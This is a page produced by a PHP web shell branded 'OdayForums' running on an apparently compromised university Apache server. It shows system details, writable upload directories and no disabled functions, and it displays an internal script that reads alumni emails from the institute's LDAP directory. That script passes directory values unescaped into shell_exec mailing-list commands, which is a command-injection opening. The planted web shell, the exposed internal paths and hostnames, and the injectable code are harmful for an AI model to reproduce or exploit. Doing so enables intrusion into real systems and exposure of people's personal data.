Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/indem/scripts/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/indem/scripts/php/mailinglist_subscribe_alumni.php
<?php
$ds = ldap_connect("ldap.iiita.ac.in");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

$ou = "ou=alumni,dc=iiita,dc=ac,dc=in";
if ($ds){
  	$sr = ldap_search($ds, "$ou", "mail=*");
  	$info = ldap_get_entries($ds, $sr);
  	foreach ($info as $acc){
    		$i++;
    		$email = $acc["mail"][0];
    		echo $i . ". " . $email . " subscribed for ...\n";
    		foreach ($acc["businesscategory"] as $b){
      			if (strlen($b) > 1){
        			//========register in businesscategory list
        			shell_exec("/usr/local/bin/ezmlm/ezmlm-unsub /opt/arithme/mailstore/mail.iiita.ac.in/lists/$b/list $email 2>&1");
        			shell_exec("/usr/local/bin/ezmlm/ezmlm-sub /opt/arithme/mailstore/mail.iiita.ac.in/lists/$b/list $email 2>&1");
        			echo " -- {$b}@lists.iiita.ac.in\n";
      			}
    		}
  	}
}

$ou = "ou=rgiit-alumni,dc=iiita,dc=ac,dc=in";
if ($ds){
  	$sr = ldap_search($ds, "$ou", "mail=*");
  	$info = ldap_get_entries($ds, $sr);
  	foreach ($info as $acc){
    		$i++;
    		$email = $acc["mail"][0];
 		echo $i . ". " . $email . " subscribed for ...\n";
    		foreach ($acc["businesscategory"] as $b){
      			if (strlen($b) > 1){
        			//========register in businesscategory list
        			shell_exec("/usr/local/bin/ezmlm/ezmlm-unsub /opt/arithme/mailstore/mail.iiita.ac.in/lists/$b/list $email 2>&1");
        			shell_exec("/usr/local/bin/ezmlm/ezmlm-sub /opt/arithme/mailstore/mail.iiita.ac.in/lists/$b/list $email 2>&1");
        			echo " -- {$b}@lists.iiita.ac.in\n";
      			}
    		}
  	}
}


ldap_close($ds);
?>

ZeroDay Forums Mini